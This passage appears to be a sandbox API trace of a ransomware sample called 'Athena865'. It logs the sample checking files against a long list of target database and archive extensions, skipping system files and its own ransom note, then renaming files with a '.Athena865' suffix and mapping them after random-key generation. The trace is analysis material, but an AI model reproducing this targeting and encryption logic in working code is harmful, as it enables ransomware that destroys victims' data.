lstrcmpiW (lpString1=".EXE", lpString2="kexi") returned -1 [0059.042] lstrlenW (lpString="kexic") returned 5 [0059.042] lstrcmpiW (lpString1="0.EXE", lpString2="kexic") returned -1 [0059.042] lstrlenW (lpString="kexis") returned 5 [0059.042] lstrcmpiW (lpString1="0.EXE", lpString2="kexis") returned -1 [0059.042] lstrlenW (lpString="lgc") returned 3 [0059.042] lstrcmpiW (lpString1="EXE", lpString2="lgc") returned -1 [0059.042] lstrlenW (lpString="lwx") returned 3 [0059.042] lstrcmpiW (lpString1="EXE", lpString2="lwx") returned -1 [0059.042] lstrlenW (lpString="maf") returned 3 [0059.042] lstrcmpiW (lpString1="EXE", lpString2="maf") returned -1 [0059.042] lstrlenW (lpString="maq") returned 3 [0059.042] lstrcmpiW (lpString1="EXE", lpString2="maq") returned -1 [0059.042] lstrlenW (lpString="mar") returned 3 [0059.042] lstrcmpiW (lpString1="EXE", lpString2="mar") returned -1 [0059.042] lstrlenW (lpString="marshal") returned 7 [0059.042] lstrcmpiW (lpString1="W20.EXE", lpString2="marshal") returned 1 [0059.042] lstrlenW (lpString="mas") returned 3 [0059.042] lstrcmpiW (lpString1="EXE", lpString2="mas") returned -1 [0059.042] lstrlenW (lpString="mav") returned 3 [0059.042] lstrcmpiW (lpString1="EXE", lpString2="mav") returned -1 [0059.042] lstrlenW (lpString="maw") returned 3 [0059.042] lstrcmpiW (lpString1="EXE", lpString2="maw") returned -1 [0059.042] lstrlenW (lpString="mdbhtml") returned 7 [0059.042] lstrcmpiW (lpString1="W20.EXE", lpString2="mdbhtml") returned 1 [0059.043] lstrlenW (lpString="mdn") returned 3 [0059.043] lstrcmpiW (lpString1="EXE", lpString2="mdn") returned -1 [0059.043] lstrlenW (lpString="mdt") returned 3 [0059.043] lstrcmpiW (lpString1="EXE", lpString2="mdt") returned -1 [0059.043] lstrlenW (lpString="mfd") returned 3 [0059.043] lstrcmpiW (lpString1="EXE", lpString2="mfd") returned -1 [0059.043] lstrlenW (lpString="mpd") returned 3 [0059.043] lstrcmpiW (lpString1="EXE", lpString2="mpd") returned -1 [0059.043] lstrlenW (lpString="mrg") returned 3 [0059.043] lstrcmpiW (lpString1="EXE", lpString2="mrg") returned -1 [0059.043] lstrlenW (lpString="mud") returned 3 [0059.043] lstrcmpiW (lpString1="EXE", lpString2="mud") returned -1 [0059.043] lstrlenW (lpString="mwb") returned 3 [0059.043] lstrcmpiW (lpString1="EXE", lpString2="mwb") returned -1 [0059.043] lstrlenW (lpString="myd") returned 3 [0059.043] lstrcmpiW (lpString1="EXE", lpString2="myd") returned -1 [0059.043] lstrlenW (lpString="ndf") returned 3 [0059.043] lstrcmpiW (lpString1="EXE", lpString2="ndf") returned -1 [0059.043] lstrlenW (lpString="nnt") returned 3 [0059.043] lstrcmpiW (lpString1="EXE", lpString2="nnt") returned -1 [0059.043] lstrlenW (lpString="nrmlib") returned 6 [0059.043] lstrcmpiW (lpString1="20.EXE", lpString2="nrmlib") returned -1 [0059.043] lstrlenW (lpString="ns2") returned 3 [0059.043] lstrcmpiW (lpString1="EXE", lpString2="ns2") returned -1 [0059.043] lstrlenW (lpString="ns3") returned 3 [0059.043] lstrcmpiW (lpString1="EXE", lpString2="ns3") returned -1 [0059.043] lstrlenW (lpString="ns4") returned 3 [0059.043] lstrcmpiW (lpString1="EXE", lpString2="ns4") returned -1 [0059.043] lstrlenW (lpString="nsf") returned 3 [0059.043] lstrcmpiW (lpString1="EXE", lpString2="nsf") returned -1 [0059.043] lstrlenW (lpString="nv") returned 2 [0059.043] lstrcmpiW (lpString1="XE", lpString2="nv") returned 1 [0059.043] lstrlenW (lpString="nv2") returned 3 [0059.044] lstrcmpiW (lpString1="EXE", lpString2="nv2") returned -1 [0059.044] lstrlenW (lpString="nwdb") returned 4 [0059.044] lstrcmpiW (lpString1=".EXE", lpString2="nwdb") returned -1 [0059.044] lstrlenW (lpString="nyf") returned 3 [0059.044] lstrcmpiW (lpString1="EXE", lpString2="nyf") returned -1 [0059.044] lstrlenW (lpString="odb") returned 3 [0059.044] lstrcmpiW (lpString1="EXE", lpString2="odb") returned -1 [0059.044] lstrlenW (lpString="odb") returned 3 [0059.044] lstrcmpiW (lpString1="EXE", lpString2="odb") returned -1 [0059.044] lstrlenW (lpString="oqy") returned 3 [0059.044] lstrcmpiW (lpString1="EXE", lpString2="oqy") returned -1 [0059.044] lstrlenW (lpString="ora") returned 3 [0059.044] lstrcmpiW (lpString1="EXE", lpString2="ora") returned -1 [0059.044] lstrlenW (lpString="orx") returned 3 [0059.044] lstrcmpiW (lpString1="EXE", lpString2="orx") returned -1 [0059.044] lstrlenW (lpString="owc") returned 3 [0059.044] lstrcmpiW (lpString1="EXE", lpString2="owc") returned -1 [0059.044] lstrlenW (lpString="p96") returned 3 [0059.044] lstrcmpiW (lpString1="EXE", lpString2="p96") returned -1 [0059.044] lstrlenW (lpString="p97") returned 3 [0059.044] lstrcmpiW (lpString1="EXE", lpString2="p97") returned -1 [0059.044] lstrlenW (lpString="pan") returned 3 [0059.044] lstrcmpiW (lpString1="EXE", lpString2="pan") returned -1 [0059.044] lstrlenW (lpString="pdb") returned 3 [0059.044] lstrcmpiW (lpString1="EXE", lpString2="pdb") returned -1 [0059.044] lstrlenW (lpString="pdm") returned 3 [0059.044] lstrcmpiW (lpString1="EXE", lpString2="pdm") returned -1 [0059.044] lstrlenW (lpString="pnz") returned 3 [0059.044] lstrcmpiW (lpString1="EXE", lpString2="pnz") returned -1 [0059.044] lstrlenW (lpString="qry") returned 3 [0059.044] lstrcmpiW (lpString1="EXE", lpString2="qry") returned -1 [0059.044] lstrlenW (lpString="qvd") returned 3 [0059.044] lstrcmpiW (lpString1="EXE", lpString2="qvd") returned -1 [0059.044] lstrlenW (lpString="rbf") returned 3 [0059.045] lstrcmpiW (lpString1="EXE", lpString2="rbf") returned -1 [0059.045] lstrlenW (lpString="rctd") returned 4 [0059.045] lstrcmpiW (lpString1=".EXE", lpString2="rctd") returned -1 [0059.045] lstrlenW (lpString="rod") returned 3 [0059.045] lstrcmpiW (lpString1="EXE", lpString2="rod") returned -1 [0059.045] lstrlenW (lpString="rodx") returned 4 [0059.045] lstrcmpiW (lpString1=".EXE", lpString2="rodx") returned -1 [0059.045] lstrlenW (lpString="rpd") returned 3 [0059.045] lstrcmpiW (lpString1="EXE", lpString2="rpd") returned -1 [0059.045] lstrlenW (lpString="rsd") returned 3 [0059.045] lstrcmpiW (lpString1="EXE", lpString2="rsd") returned -1 [0059.045] lstrlenW (lpString="sas7bdat") returned 8 [0059.045] lstrlenW (lpString="sbf") returned 3 [0059.045] lstrcmpiW (lpString1="EXE", lpString2="sbf") returned -1 [0059.045] lstrlenW (lpString="scx") returned 3 [0059.045] lstrcmpiW (lpString1="EXE", lpString2="scx") returned -1 [0059.045] lstrlenW (lpString="sdb") returned 3 [0059.045] lstrcmpiW (lpString1="EXE", lpString2="sdb") returned -1 [0059.045] lstrlenW (lpString="sdc") returned 3 [0059.045] lstrcmpiW (lpString1="EXE", lpString2="sdc") returned -1 [0059.045] lstrlenW (lpString="sdf") returned 3 [0059.045] lstrcmpiW (lpString1="EXE", lpString2="sdf") returned -1 [0059.045] lstrlenW (lpString="sis") returned 3 [0059.045] lstrcmpiW (lpString1="EXE", lpString2="sis") returned -1 [0059.045] lstrlenW (lpString="spq") returned 3 [0059.045] lstrcmpiW (lpString1="EXE", lpString2="spq") returned -1 [0059.045] lstrlenW (lpString="te") returned 2 [0059.045] lstrcmpiW (lpString1="XE", lpString2="te") returned 1 [0059.045] lstrlenW (lpString="teacher") returned 7 [0059.045] lstrcmpiW (lpString1="W20.EXE", lpString2="teacher") returned 1 [0059.045] lstrlenW (lpString="tmd") returned 3 [0059.045] lstrcmpiW (lpString1="EXE", lpString2="tmd") returned -1 [0059.046] lstrlenW (lpString="tps") returned 3 [0059.046] lstrcmpiW (lpString1="EXE", lpString2="tps") returned -1 [0059.046] lstrlenW (lpString="trc") returned 3 [0059.046] lstrcmpiW (lpString1="EXE", lpString2="trc") returned -1 [0059.046] lstrlenW (lpString="trc") returned 3 [0059.046] lstrcmpiW (lpString1="EXE", lpString2="trc") returned -1 [0059.046] lstrlenW (lpString="trm") returned 3 [0059.046] lstrcmpiW (lpString1="EXE", lpString2="trm") returned -1 [0059.046] lstrlenW (lpString="udb") returned 3 [0059.046] lstrcmpiW (lpString1="EXE", lpString2="udb") returned -1 [0059.046] lstrlenW (lpString="udl") returned 3 [0059.046] lstrcmpiW (lpString1="EXE", lpString2="udl") returned -1 [0059.046] lstrlenW (lpString="usr") returned 3 [0059.046] lstrcmpiW (lpString1="EXE", lpString2="usr") returned -1 [0059.046] lstrlenW (lpString="v12") returned 3 [0059.046] lstrcmpiW (lpString1="EXE", lpString2="v12") returned -1 [0059.046] lstrlenW (lpString="vis") returned 3 [0059.046] lstrcmpiW (lpString1="EXE", lpString2="vis") returned -1 [0059.046] lstrlenW (lpString="vpd") returned 3 [0059.046] lstrcmpiW (lpString1="EXE", lpString2="vpd") returned -1 [0059.046] lstrlenW (lpString="vvv") returned 3 [0059.046] lstrcmpiW (lpString1="EXE", lpString2="vvv") returned -1 [0059.046] lstrlenW (lpString="wdb") returned 3 [0059.046] lstrcmpiW (lpString1="EXE", lpString2="wdb") returned -1 [0059.046] lstrlenW (lpString="wmdb") returned 4 [0059.046] lstrcmpiW (lpString1=".EXE", lpString2="wmdb") returned -1 [0059.046] lstrlenW (lpString="wrk") returned 3 [0059.046] lstrcmpiW (lpString1="EXE", lpString2="wrk") returned -1 [0059.046] lstrlenW (lpString="xdb") returned 3 [0059.046] lstrcmpiW (lpString1="EXE", lpString2="xdb") returned -1 [0059.046] lstrlenW (lpString="xld") returned 3 [0059.046] lstrcmpiW (lpString1="EXE", lpString2="xld") returned -1 [0059.046] lstrlenW (lpString="xmlff") returned 5 [0059.047] lstrcmpiW (lpString1="0.EXE", lpString2="xmlff") returned -1 [0059.047] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE.Athena865") returned 81 [0059.047] MoveFileExW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dw20.exe"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE.Athena865" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dw20.exe.athena865"), dwFlags=0x1) returned 1 [0059.048] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE.Athena865" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dw20.exe.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0059.048] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=838536) returned 1 [0059.048] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0059.048] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52de58 [0059.049] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518f80 [0059.049] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518ef8) returned 1 [0059.049] CryptGenRandom (in: hProv=0x518ef8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0059.049] CryptReleaseContext (hProv=0x518ef8, dwFlags=0x0) returned 1 [0059.050] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xcce90, lpName=0x0) returned 0x154 [0059.051] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xcce90) returned 0x2d50000 [0059.084] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518ef8) returned 1 [0059.084] CryptGenRandom (in: hProv=0x518ef8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0059.084] CryptReleaseContext (hProv=0x518ef8, dwFlags=0x0) returned 1 [0059.085] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52ded0 [0059.085] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ded0 | out: hHeap=0x4f0000) returned 1 [0059.085] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52dfb8 [0059.085] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0059.085] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52dfb8 | out: hHeap=0x4f0000) returned 1 [0059.085] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0059.085] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52b3b0 [0059.085] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0059.085] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b3b0 | out: hHeap=0x4f0000) returned 1 [0059.085] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0059.085] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0059.093] CloseHandle (hObject=0x154) returned 1 [0059.093] CloseHandle (hObject=0x17c) returned 1 [0059.093] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52de58 | out: hHeap=0x4f0000) returned 1 [0059.093] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518f80 | out: hHeap=0x4f0000) returned 1 [0059.093] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0059.101] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xabf60500, ftCreationTime.dwHighDateTime=0x1cac9ae, ftLastAccessTime.dwLowDateTime=0xabf60500, ftLastAccessTime.dwHighDateTime=0x1cac9ae, ftLastWriteTime.dwLowDateTime=0xe85ab8b0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x80760, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="dwdcw20.dll", cAlternateFileName="")) returned 1 [0059.101] lstrcmpiW (lpString1="dwdcw20.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0059.101] lstrcmpiW (lpString1="dwdcw20.dll", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0059.101] lstrcmpiW (lpString1="dwdcw20.dll", lpString2=".") returned 1 [0059.101] lstrcmpiW (lpString1="dwdcw20.dll", lpString2="..") returned 1 [0059.101] lstrcmpiW (lpString1="dwdcw20.dll", lpString2="windows") returned -1 [0059.101] lstrcmpiW (lpString1="dwdcw20.dll", lpString2="bootmgr") returned 1 [0059.101] lstrcmpiW (lpString1="dwdcw20.dll", lpString2="temp") returned -1 [0059.101] lstrcmpiW (lpString1="dwdcw20.dll", lpString2="pagefile.sys") returned -1 [0059.101] lstrcmpiW (lpString1="dwdcw20.dll", lpString2="boot") returned 1 [0059.101] lstrcmpiW (lpString1="dwdcw20.dll", lpString2="ids.txt") returned -1 [0059.101] lstrcmpiW (lpString1="dwdcw20.dll", lpString2="ntuser.dat") returned -1 [0059.101] lstrcmpiW (lpString1="dwdcw20.dll", lpString2="perflogs") returned -1 [0059.101] lstrcmpiW (lpString1="dwdcw20.dll", lpString2="MSBuild") returned -1 [0059.101] lstrlenW (lpString="dwdcw20.dll") returned 11 [0059.101] lstrcpyW (in: lpString1=0x241e8c6, lpString2="dwdcw20.dll" | out: lpString1="dwdcw20.dll") returned="dwdcw20.dll" [0059.101] lstrlenW (lpString="dwdcw20.dll") returned 11 [0059.101] lstrlenW (lpString="Athena865") returned 9 [0059.101] lstrcmpiW (lpString1="dcw20.dll", lpString2="Athena865") returned 1 [0059.101] lstrlenW (lpString=".dll") returned 4 [0059.101] lstrcmpiW (lpString1="dwdcw20.dll", lpString2=".dll") returned 1 [0059.101] lstrlenW (lpString=".lnk") returned 4 [0059.101] lstrcmpiW (lpString1="dwdcw20.dll", lpString2=".lnk") returned 1 [0059.101] lstrlenW (lpString=".ini") returned 4 [0059.101] lstrcmpiW (lpString1="dwdcw20.dll", lpString2=".ini") returned 1 [0059.101] lstrlenW (lpString=".sys") returned 4 [0059.101] lstrcmpiW (lpString1="dwdcw20.dll", lpString2=".sys") returned 1 [0059.102] lstrlenW (lpString="dwdcw20.dll") returned 11 [0059.102] lstrlenW (lpString="bak") returned 3 [0059.102] lstrcmpiW (lpString1="dll", lpString2="bak") returned 1 [0059.102] lstrlenW (lpString="ba_") returned 3 [0059.102] lstrcmpiW (lpString1="dll", lpString2="ba_") returned 1 [0059.102] lstrlenW (lpString="dbb") returned 3 [0059.102] lstrcmpiW (lpString1="dll", lpString2="dbb") returned 1 [0059.102] lstrlenW (lpString="vmdk") returned 4 [0059.102] lstrcmpiW (lpString1=".dll", lpString2="vmdk") returned -1 [0059.102] lstrlenW (lpString="rar") returned 3 [0059.102] lstrcmpiW (lpString1="dll", lpString2="rar") returned -1 [0059.102] lstrlenW (lpString="zip") returned 3 [0059.102] lstrcmpiW (lpString1="dll", lpString2="zip") returned -1 [0059.102] lstrlenW (lpString="tgz") returned 3 [0059.102] lstrcmpiW (lpString1="dll", lpString2="tgz") returned -1 [0059.102] lstrlenW (lpString="vbox") returned 4 [0059.102] lstrcmpiW (lpString1=".dll", lpString2="vbox") returned -1 [0059.102] lstrlenW (lpString="vdi") returned 3 [0059.102] lstrcmpiW (lpString1="dll", lpString2="vdi") returned -1 [0059.102] lstrlenW (lpString="vhd") returned 3 [0059.102] lstrcmpiW (lpString1="dll", lpString2="vhd") returned -1 [0059.102] lstrlenW (lpString="vhdx") returned 4 [0059.102] lstrcmpiW (lpString1=".dll", lpString2="vhdx") returned -1 [0059.102] lstrlenW (lpString="avhd") returned 4 [0059.102] lstrcmpiW (lpString1=".dll", lpString2="avhd") returned -1 [0059.102] lstrlenW (lpString="db") returned 2 [0059.102] lstrcmpiW (lpString1="ll", lpString2="db") returned 1 [0059.102] lstrlenW (lpString="db2") returned 3 [0059.102] lstrcmpiW (lpString1="dll", lpString2="db2") returned 1 [0059.102] lstrlenW (lpString="db3") returned 3 [0059.102] lstrcmpiW (lpString1="dll", lpString2="db3") returned 1 [0059.102] lstrlenW (lpString="dbf") returned 3 [0059.102] lstrcmpiW (lpString1="dll", lpString2="dbf") returned 1 [0059.103] lstrlenW (lpString="mdf") returned 3 [0059.103] lstrcmpiW (lpString1="dll", lpString2="mdf") returned -1 [0059.103] lstrlenW (lpString="mdb") returned 3 [0059.103] lstrcmpiW (lpString1="dll", lpString2="mdb") returned -1 [0059.103] lstrlenW (lpString="sql") returned 3 [0059.103] lstrcmpiW (lpString1="dll", lpString2="sql") returned -1 [0059.103] lstrlenW (lpString="sqlite") returned 6 [0059.103] lstrcmpiW (lpString1="20.dll", lpString2="sqlite") returned -1 [0059.103] lstrlenW (lpString="sqlite3") returned 7 [0059.103] lstrcmpiW (lpString1="w20.dll", lpString2="sqlite3") returned 1 [0059.103] lstrlenW (lpString="sqlitedb") returned 8 [0059.103] lstrcmpiW (lpString1="cw20.dll", lpString2="sqlitedb") returned -1 [0059.103] lstrlenW (lpString="xml") returned 3 [0059.103] lstrcmpiW (lpString1="dll", lpString2="xml") returned -1 [0059.103] lstrlenW (lpString="$er") returned 3 [0059.103] lstrcmpiW (lpString1="dll", lpString2="$er") returned 1 [0059.103] lstrlenW (lpString="4dd") returned 3 [0059.103] lstrcmpiW (lpString1="dll", lpString2="4dd") returned 1 [0059.103] lstrlenW (lpString="4dl") returned 3 [0059.103] lstrcmpiW (lpString1="dll", lpString2="4dl") returned 1 [0059.103] lstrlenW (lpString="^^^") returned 3 [0059.103] lstrcmpiW (lpString1="dll", lpString2="^^^") returned 1 [0059.103] lstrlenW (lpString="abs") returned 3 [0059.103] lstrcmpiW (lpString1="dll", lpString2="abs") returned 1 [0059.103] lstrlenW (lpString="abx") returned 3 [0059.103] lstrcmpiW (lpString1="dll", lpString2="abx") returned 1 [0059.103] lstrlenW (lpString="accdb") returned 5 [0059.103] lstrcmpiW (lpString1="0.dll", lpString2="accdb") returned -1 [0059.103] lstrlenW (lpString="accdc") returned 5 [0059.103] lstrcmpiW (lpString1="0.dll", lpString2="accdc") returned -1 [0059.103] lstrlenW (lpString="accde") returned 5 [0059.103] lstrcmpiW (lpString1="0.dll", lpString2="accde") returned -1 [0059.104] lstrlenW (lpString="accdr") returned 5 [0059.104] lstrcmpiW (lpString1="0.dll", lpString2="accdr") returned -1 [0059.104] lstrlenW (lpString="accdt") returned 5 [0059.104] lstrcmpiW (lpString1="0.dll", lpString2="accdt") returned -1 [0059.104] lstrlenW (lpString="accdw") returned 5 [0059.104] lstrcmpiW (lpString1="0.dll", lpString2="accdw") returned -1 [0059.104] lstrlenW (lpString="accft") returned 5 [0059.104] lstrcmpiW (lpString1="0.dll", lpString2="accft") returned -1 [0059.104] lstrlenW (lpString="adb") returned 3 [0059.104] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0059.104] lstrlenW (lpString="adb") returned 3 [0059.104] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0059.104] lstrlenW (lpString="ade") returned 3 [0059.104] lstrcmpiW (lpString1="dll", lpString2="ade") returned 1 [0059.104] lstrlenW (lpString="adf") returned 3 [0059.104] lstrcmpiW (lpString1="dll", lpString2="adf") returned 1 [0059.104] lstrcmpiW (lpString1="dll", lpString2="adn") returned 1 [0059.104] lstrcmpiW (lpString1="dll", lpString2="adp") returned 1 [0059.104] lstrcmpiW (lpString1="dll", lpString2="alf") returned 1 [0059.104] lstrcmpiW (lpString1="dll", lpString2="ask") returned 1 [0059.104] lstrcmpiW (lpString1="dll", lpString2="btr") returned 1 [0059.104] lstrcmpiW (lpString1="dll", lpString2="cat") returned 1 [0059.105] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll.Athena865") returned 84 [0059.105] MoveFileExW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dwdcw20.dll"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll.Athena865" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dwdcw20.dll.athena865"), dwFlags=0x1) returned 1 [0059.105] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll.Athena865" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dwdcw20.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0059.105] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=526176) returned 1 [0059.105] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0059.106] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52de58 [0059.106] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518f80 [0059.106] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518ef8) returned 1 [0059.107] CryptGenRandom (in: hProv=0x518ef8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0059.107] CryptReleaseContext (hProv=0x518ef8, dwFlags=0x0) returned 1 [0059.107] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x80a60, lpName=0x0) returned 0x154 [0059.109] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x80a60) returned 0x2d50000 [0059.149] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518ef8) returned 1 [0059.150] CryptGenRandom (in: hProv=0x518ef8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0059.150] CryptReleaseContext (hProv=0x518ef8, dwFlags=0x0) returned 1 [0059.150] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52ded0 [0059.150] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ded0 | out: hHeap=0x4f0000) returned 1 [0059.150] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52dfb8 [0059.150] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0059.150] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52dfb8 | out: hHeap=0x4f0000) returned 1 [0059.150] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0059.150] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52b3b0 [0059.150] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0059.151] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b3b0 | out: hHeap=0x4f0000) returned 1 [0059.151] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0059.151] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0059.155] CloseHandle (hObject=0x154) returned 1 [0059.155] CloseHandle (hObject=0x17c) returned 1 [0059.155] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52de58 | out: hHeap=0x4f0000) returned 1 [0059.156] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518f80 | out: hHeap=0x4f0000) returned 1 [0059.156] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0059.159] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xabf60500, ftCreationTime.dwHighDateTime=0x1cac9ae, ftLastAccessTime.dwLowDateTime=0xabf60500, ftLastAccessTime.dwHighDateTime=0x1cac9ae, ftLastWriteTime.dwLowDateTime=0xe85f73a0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x7eda0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="dwtrig20.exe", cAlternateFileName="")) returned 1 [0059.159] lstrcmpiW (lpString1="dwtrig20.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0059.159] lstrcmpiW (lpString1="dwtrig20.exe", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0059.159] lstrcmpiW (lpString1="dwtrig20.exe", lpString2=".") returned 1 [0059.159] lstrcmpiW (lpString1="dwtrig20.exe", lpString2="..") returned 1 [0059.159] lstrcmpiW (lpString1="dwtrig20.exe", lpString2="windows") returned -1 [0059.159] lstrcmpiW (lpString1="dwtrig20.exe", lpString2="bootmgr") returned 1 [0059.160] lstrcmpiW (lpString1="dwtrig20.exe", lpString2="temp") returned -1 [0059.160] lstrcmpiW (lpString1="dwtrig20.exe", lpString2="pagefile.sys") returned -1 [0059.160] lstrcmpiW (lpString1="dwtrig20.exe", lpString2="boot") returned 1 [0059.160] lstrcmpiW (lpString1="dwtrig20.exe", lpString2="ids.txt") returned -1 [0059.160] lstrcmpiW (lpString1="dwtrig20.exe", lpString2="ntuser.dat") returned -1 [0059.160] lstrcmpiW (lpString1="dwtrig20.exe", lpString2="perflogs") returned -1 [0059.160] lstrcmpiW (lpString1="dwtrig20.exe", lpString2="MSBuild") returned -1 [0059.160] lstrlenW (lpString="dwtrig20.exe") returned 12 [0059.160] lstrcpyW (in: lpString1=0x241e8c6, lpString2="dwtrig20.exe" | out: 